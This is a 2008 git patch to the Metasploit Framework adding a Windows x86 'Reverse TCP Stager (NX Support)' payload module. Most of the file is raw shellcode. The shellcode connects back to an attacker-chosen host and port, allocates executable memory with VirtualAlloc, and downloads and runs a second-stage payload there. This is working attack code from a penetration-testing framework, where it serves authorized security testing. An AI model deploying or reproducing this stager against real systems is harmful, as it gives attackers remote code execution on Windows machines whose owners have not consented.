From eaa91fd8f43d68a1330973dc9d7f2687a7d900e9 Mon Sep 17 00:00:00 2001
From: HD Moore <hd_moore@rapid7.com>
Date: Mon, 11 Aug 2008 22:41:35 +0000
Subject: [PATCH] Adds a reverse_tcp stager that downloads the stage into a RWX
 page created with VirtualAlloc. Results in NX support

git-svn-id: file:///home/svn/framework3/trunk@5624 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../stagers/windows/reverse_nx_tcp.rb         | 74 +++++++++++++++++++
 1 file changed, 74 insertions(+)
 create mode 100644 modules/payloads/stagers/windows/reverse_nx_tcp.rb

diff --git a/modules/payloads/stagers/windows/reverse_nx_tcp.rb b/modules/payloads/stagers/windows/reverse_nx_tcp.rb
new file mode 100644
index 0000000000..5ca8b0918f
--- /dev/null
+++ b/modules/payloads/stagers/windows/reverse_nx_tcp.rb
@@ -0,0 +1,74 @@
+##
+# $Id: reverse_tcp.rb 4419 2007-02-18 00:10:39Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+module Msf
+module Payloads
+module Stagers
+module Windows
+
+module ReverseTcp
+
+	include Msf::Payload::Stager
+	include Msf::Payload::Windows
+
+	def self.handler_type_alias
+		"reverse_nx_tcp"
+	end
+	
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Reverse TCP Stager (NX Support)',
+			'Version'       => '$Revision: 4419 $',
+			'Description'   => 'Connect back to the attacker',
+			'Author'        => 'vlad902',
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'win',
+			'Arch'          => ARCH_X86,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Convention'    => 'sockedi',
+			'Stager'        =>
+				{
+					'Offsets' =>
+						{
+							'LHOST' => [ 231, 'ADDR' ],
+							'LPORT' => [ 238, 'n'    ],
+						},
+					'Payload' =>
+						"\xfc" +
+						"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
+						"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
+						"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
+						"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
+						"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
+						"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
+						"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x8e"+
+						"\x4e\x0e\xec\xff\xd6\x89\xc7\x53\x68\x54\xca\xaf\x91\xff\xd6\x81"+
+						"\xec\x00\x01\x00\x00\x50\x57\x56\x53\x89\xe5\xe8\x1f\x00\x00\x00"+
+						"\x90\x01\x00\x00\xb6\x19\x18\xe7\xa4\x19\x70\xe9\xec\xf9\xaa\x60"+
+						"\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x57\x53\x32\x5f\x33\x32\x00\x5b"+
+						"\x8d\x4b\x18\x51\xff\xd7\x89\xdf\x89\xc3\x8d\x75\x14\x6a\x05\x59"+
+						"\x51\x53\xff\x34\x8f\xff\x55\x04\x59\x89\x04\x8e\xe2\xf2\x2b\x27"+
+						"\x54\xff\x37\xff\x55\x28\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50"+
+						"\xff\x55\x24\x89\xc7\x68\x7f\x00\x00\x01\x68\x02\x00\x22\x11\x89"+
+						"\xe1\x6a\x10\x51\x57\xff\x55\x20\x6a\x40\x5e\x56\xc1\xe6\x06\x56"+
+						"\xc1\xe6\x08\x56\x6a\x00\xff\x55\x0c\x89\xc3\x6a\x00\x56\x53\x57"+
+						"\xff\x55\x18\xff\xd3"
+				}
+			))
+	end
+
+end
+
+end end end end